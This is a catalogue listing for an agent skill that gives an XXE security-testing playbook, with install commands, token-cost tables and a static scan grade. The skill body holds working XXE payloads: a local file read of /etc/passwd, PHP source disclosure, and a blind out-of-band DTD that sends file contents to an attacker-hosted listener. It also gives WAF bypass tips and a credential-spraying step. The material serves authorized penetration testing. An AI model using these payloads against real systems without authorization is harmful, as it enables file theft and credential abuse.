web-xxe

A security-testing guide for XML External Entity (XXE) flaws, where an XML parser follows unsafe instructions embedded in supplied XML. XML is a structured text format used by APIs, office files, images, and data feeds.

In plain words
What is it for?
Use it to assess XML and SOAP APIs, SAML, RSS imports, and DOCX, XLSX, SVG, or other XML-based uploads during authorized testing.
Why use it?
It helps find whether an application can be tricked into reading local files or making requests to internal services.

Skill for Claude CodeCodex

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/s0ld13rr/pentestcode/xxe
Any agent
npx skills add s0ld13rr/pentestcode --skill xxe
Clone the repo
git clone --depth 1 https://github.com/s0ld13rr/pentestcode

Made for: Claude Code, Codex.

Per session 94 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 654 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00094 $0.00654
Opus 5 $0.00047 $0.00327
Sonnet 5 $0.00019 $0.00131
Haiku 4.5 $0.00009 $0.00065

Measured 2d ago against content hash d89013c1e00c, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade A, and why

web-xxe scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

skills/web/xxe/SKILL.md · 45 lines

What it actually says

XXE (XML External Entity)

When this fires

The server parses attacker-influenced XML: XML/SOAP APIs, SAML, RSS import, or office/SVG file uploads (DOCX/XLSX are zipped XML — inject into word/document.xml etc.).

Detect

<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]>
<root>&x;</root>

If /etc/passwd comes back in the response → classic in-band XXE. No reflection → test blind (OOB) below.

Decide

  • Entity value reflected in a response field → in-band file read.
  • Not reflected but parser fetches your DTD → blind XXE → OOB exfil via external DTD.
  • Non-printable/multiline files break the parser → use php://filter base64 wrapper (PHP) to read source.
  • Entity fetches arbitrary URLs → XXE→SSRF (hit internal services / cloud metadata; see web-ssrf).

Exploit → PROVE IMPACT

<!-- source disclosure (PHP): -->
<!DOCTYPE r [<!ENTITY x SYSTEM "php://filter/convert.base64-encode/resource=index.php">]><root>&x;</root>
<!-- blind OOB exfil (host evil.dtd on your listener): -->
<!DOCTYPE r [<!ENTITY % p SYSTEM "http://<OOB>/evil.dtd"> %p;]>
<!-- evil.dtd: -->
<!ENTITY % f SYSTEM "file:///etc/passwd">
<!ENTITY % e "<!ENTITY &#x25; x SYSTEM 'http://<OOB>/?d=%f;'>"> %e; %x;

Proof required: contents of a server file (/etc/passwd, app source, a secret) or a provable OOB fetch of a file's bytes. Read creds → add_credential + cred_spray.

Tooling

nuclei -tags xxe; for DOCX/XLSX: unzip, inject into the XML part, re-zip, upload. Host the OOB DTD on your attacker box (internal targets: transfer the listener inward).

False positives / pitfalls

  • Parser has external entities disabled → in-band fails; blind/parameter-entity variant may still work; if the DTD isn't fetched at all, it's patched.
  • WAF blocks <!DOCTYPE> → try UTF-16/UTF-7 encoding, or a nested/parameter-entity form.
  • Reflected-but-not-parsed input = not XXE.
Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 2d ago First seen · 45 lines · 94 tokens per session scan A d89013c1e00c

Subscribe to this mod's changes

web-xxe is a skill published in the GitHub repository s0ld13rr/pentestcode (594 stars, last pushed 11d ago), licensed MIT. It adds 94 tokens to every session and 654 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.